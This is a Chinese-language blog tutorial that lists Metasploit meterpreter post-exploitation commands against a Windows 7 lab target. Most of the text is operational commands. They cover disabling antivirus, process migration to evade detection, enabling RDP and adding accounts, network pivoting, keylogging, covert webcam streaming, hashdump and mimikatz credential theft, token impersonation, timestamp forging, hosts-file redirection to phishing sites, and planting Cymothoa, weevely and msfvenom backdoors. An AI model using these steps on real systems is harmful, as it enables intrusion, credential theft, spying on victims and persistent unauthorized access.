meterpreter模块之后渗透攻击实战总结

meterpreter模块之后渗透攻击

后渗透测试是极为关键的,也是测试客户业务是否安全影响最大的一部

文章目录

  • meterpreter模块之后渗透攻击
    • 一:进程迁移
    • 二:系统命令
      • 1:查看系统信息
      • 2:查看目标主机运行时间
      • 3:查看目标机是否运行在虚拟机上
      • 4:查看当前主机用户名及其权限
      • 5:关闭杀毒软件
      • 6:启动目标主机的3389端口即远程桌面协议
      • 7:将当前会话放到后台
      • 8:端口转发
      • 9:路由route操作
          • ①:查看已拿下的目标主机的内网IP段情况
        • ②:添加路由(先使用background将meterpreter终端放到后台)
      • 11:关闭杀毒软件
      • 12:列举当前目标机有多少用户登录
      • 13:添加用户
      • 14:抓取目标机的屏幕截图
      • 15:webcam摄像头命令
      • 16:进入目标机shell,获取目标主机的远程命令行
    • 三:文件系统命令
      • 常用指令如下
    • 四:其他常用命令
      • 1:session命令
      • 2:timestomp伪造时间戳
      • 3:键盘记录器功能keyscan
      • 4:系统账号密码获取
      • 5:edit命令
      • 6:execute命令
      • 7:信息收集
      • 8:权限提升
      • 9:漏洞提权:
      • 10: 抓取密码
      • 11:令牌欺骗
    • 五:后门
      • 1:Cymothoa后门
      • 2:weevely
      • 3:meterpreter后门

以下所有操作均是在meterpreter模块下,获取目标主机的meterpreter shell为所有操作的前提

本篇博客的所有截图都是以之前写ms17-010漏洞复现的一台win7靶机所截,喜欢的同学可以在这里 点击查看 之前利用ms17-010漏洞建立meterpreter shell的过程

一:进程迁移

进程迁移的原因与目的:在刚拿到meterpreter shell时,该shell是极其脆弱的,通过进程迁移,把该shell和一个稳定的进程绑定在一起,防止被检测到查杀。
1:获取目标主机正在运行的进程
指令:ps
2:查看meterpreter shell的进程号
指令:getpid
3:进程迁移 (先找一个稳定的已打开的的应用进程)
指令:migrate <稳定的进程号>
此时再次使用 ps 指令,会发现原来的meterpreter shell的进程号没了,即该shell已经被绑定在计划中的稳定进程上了
4:自动进行进程迁移 (系统会自动寻找合适的进程进行迁移)
指令:run post/windows/manage/migrate
meterpreter模块之后渗透攻击实战总结_第1张图片
meterpreter模块之后渗透攻击实战总结_第2张图片

二:系统命令

1:查看系统信息

指令:sysinfo

2:查看目标主机运行时间

指令:idletime

3:查看目标机是否运行在虚拟机上

指令:run post/windows/gather/checkvm

4:查看当前主机用户名及其权限

指令:getuid

5:关闭杀毒软件

指令:run post/windows/manage/killav

6:启动目标主机的3389端口即远程桌面协议

①指令:run post/windows/manage/enable_rdp
②指令:run getgui -e
meterpreter模块之后渗透攻击实战总结_第3张图片

7:将当前会话放到后台

指令:background

8:端口转发

指令:portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
指令:run getgui -f 6661 –e
实现效果如图:
meterpreter模块之后渗透攻击实战总结_第4张图片

9:路由route操作

①:查看已拿下的目标主机的内网IP段情况

指令:run get_local_subnets

②:添加路由(先使用background将meterpreter终端放到后台)

指令1:route add <要添加的路由> 例:route add 192.168.111.0
route print (查看已添加的路由)
指令2:run autoroute -s 192.168.159.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由
当目的路由被成功添加到已攻陷主机的路由表中,就可以借助被攻陷的主机对其他网络进行攻击了。
添加路由后可以进行以被攻陷主机的ip扫描该网段下的其他主机
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=338

route print:显示当前活跃的路由设置,查看路由是否添加成功

11:关闭杀毒软件

命令:run killav

12:列举当前目标机有多少用户登录

命令:run post/windows/gather/enum_logged_on_users
meterpreter模块之后渗透攻击实战总结_第5张图片

13:添加用户

①:run post/windows/manage/enable_rdp USERNAME=*** PASSWORD=******
②:run getgui -u example_username -p example_password

14:抓取目标机的屏幕截图

命令:
①:先输入load espia 加载插件 再输screengrab,会保存截图在root目 录下
②:输入 screenshot 效果同上
meterpreter模块之后渗透攻击实战总结_第6张图片
截取的图片
meterpreter模块之后渗透攻击实战总结_第7张图片

15:webcam摄像头命令

①:查看目标机是否有摄像头:webcam_list
②:打开目标主机的摄像头拍一张照片:webcam_snap
③:打开目标主机的摄像头抓取视频(即直播)
指令:webcam_stream
该指令会返回一个url,在浏览器打开该地址即可观看

大家可以试一下这个命令,很好玩哟

16:进入目标机shell,获取目标主机的远程命令行

(如果出错,考虑是目标主机限制了cmd.exe的访问权,可以使用migrate注入到管理员用户进程中再尝试)
指令为:shell 结束指令为:exit

三:文件系统命令

常用指令如下

这些命令比较简单,但却很重要,就不截图详细说明了
getwd 或者pwd # 查看当前工作目录
ls #显示当前目录下的内容
cd #切换目录
search -f *.txt -d c:\ # 搜索文件 -f 指定文件类型,-d 指定在哪个目录下搜索
cat c:\test\testpasswd.txt # 查看文件内容
upload /tmp/hack.txt C:\test # 上传hack.txt文件到目标机C盘test目录下
download c:\test.txt/root # 下载目标主机test.txt文件到本机root目录下
edit c:\1.txt #编辑或创建文件 没有的话,会新建文件
rm C:\lltest\hack.txt
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹
getlwd 或者 lpwd #操作攻击者主机 查看当前目录
lcd /tmp #操作攻击者主机 切换目录

四:其他常用命令

1:session命令

session 命令可以查看已经成功获取的会话
可以使用session -i 连接到指定序号的meterpreter会话已继续利用

2:timestomp伪造时间戳

时间戳的解释http://blog.csdn.net/qq_41651465/article/details/80005362
timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

3:键盘记录器功能keyscan

命令:
keyscan_start 开启记录目标主机的键盘输入
keyscan_dump 输出截获到的目标键盘输入字符信息
keyscan_stop 停止键盘记录

4:系统账号密码获取

①:命令:hashdump
在拿到system权限下,使用该命令,可以查看系统账号密码的hash值,在cmd5在线破解网站可以尝试破解,或者采用后面的Mimikatz模块尝试爆破
②:使用hashdump脚本
命令:run hashdump
meterpreter模块之后渗透攻击实战总结_第8张图片

5:edit命令

调用vi编辑器,对目标主机上的文件修改
例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站

6:execute命令

在目标主机上运行某个程序 结合参数-H使用可以隐藏在后台打开程序
例:命令:execute -H -i -f cmd.exe 相当于获取shell,使用shell

7:信息收集

run post/windows/gather/enum_applications:获取目标主机上的软件安装信息
run post/windows/gather/dumplinks:目标主机上最近访问过的文档和链接信息
查看目标主机是否为虚拟机
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机

8:权限提升

先输入getuid查看已获得的权限
尝试使用getsystem提权(倘若失败,只能使用内核漏洞提权)

9:漏洞提权:

①:使用命令:getsystem提权
②:使用其他漏洞攻击提权,如ms16-32
注意:在使用其他漏洞为当前会话提权时,攻击参数要设置好session 为当前对话的session,这样就能使用其他漏洞为当前会话提权了

10: 抓取密码

常见的在system权限下使用命令 hashdump 可以查看目标主机的用户和其对应的密码,其他抓取密码方法如下:
1:使用Qarks PwDump抓取密码,适用于Windows
2:使用Windows Credentials Editor 抓取密码,适用于Windows
3:使用Mimikatz抓取密码,metasploit集成(只能在管理员权限下使用)

  • ①:load mimikatz (加载该模块)
  • ②:msv 抓取系统的hash值
  • ③:mimikatz_command -f samdump:: 抓取Hash
  • ④:mimikatz_command -f service:: 查看服务
    输入help mimikatz,可以查看所有mimikatz在metasploit里集成的命令,即可直接使用的命令
    例:用msv命令可以抓取系统的Hash值,用wdigest命令可以获取系统账户信息
    meterpreter模块之后渗透攻击实战总结_第9张图片
    使用mimikatz_command -f 加载一个不存在的模块,会显示所有mimikatz模块
    meterpreter模块之后渗透攻击实战总结_第10张图片
    使用模块时在模块后面跟 :: 设置参数,当后面参数为空时,显示可用参数
    meterpreter模块之后渗透攻击实战总结_第11张图片
    meterpreter模块之后渗透攻击实战总结_第12张图片

11:令牌欺骗

:令牌是交互会话中的唯一身份标识符,假冒令牌的目的就是取得的令牌对应的身份的权限

  • 1>:先输入use incognito
  • 2>:再输入list_tokens -u 作用:列出所有可用的token
    (注:令牌分为:①授权令牌 Delegation Tokens 支持交互式登陆 ②模拟令牌 impersonation Tokens 非交互式令牌)
  • 3>:再输入impersonate_token 上面获取的授权令牌(注:获取的令牌Hostname\Username应将中间的 \ 改为 \ \
    meterpreter模块之后渗透攻击实战总结_第13张图片

五:后门

1:Cymothoa后门

Cymothoa工具可以把ShellCode注入现有进程,伪装成常规程序
用法如下:

  • 1:使用-p参数设置目标进程的pid
  • 2:使用-s参数指定ShellCode的编号,查看所有ShellCode的编号使用命令:cymothoa -s
  • 3:使用-y参数指定Payload服务端口号
    完整命令示例:cymothoa -p 100 -s 1 -y 4444
    注入成功后可以使用如下命令来连接目标主机的后门,等待返回shell
    Nc -nvv 目标主机IP 4444

2:weevely

用法如下:

  • 1>:生成后门
    命令:weevely generate password/存放路径/try.php
    生成一个名为try.php的后门,密码为password
  • 2>:上传后门至web根目录下/var/www/html/(上传命令在之前的文件命令讲过,不再赘述)
  • 3>:连接后门
    命令:weevely 目标主机IP/shell所在目录/1.php password(密码)
    weevely还可以生成图片后门。同时weevely还有多个模块使用,在连接上后门之后按两次Tab键,可以查看可利用的模块

3:meterpreter后门

用法如下:

  • 1>:使用使用msfvenom创建shell,shell的类型可以自己选自,可以为php文件,exe文件等等
    注:php文件可以放在web根目录下,方便直接启动
  • 2>: 上传shell到目标服务器(上传命令在之前的文件命令讲过,不再赘述)
  • 3>:在msf下设置监听模块,开始监听,设置方法为:
    ①:use exploit/multi//handler
    ②:set payload (payload可以自行选择)
    ③:访问或运行shell
    ④:获得目标主机反弹的shell,连接建立
    这里以一个exe文件为例,大家可以尝试其他web文件
    1>:创建shell
    在这里插入图片描述
    2>:上传shell
    meterpreter模块之后渗透攻击实战总结_第14张图片
    3>:设置监听模块,开始监听
    meterpreter模块之后渗透攻击实战总结_第15张图片

你可能感兴趣的:(工具使用)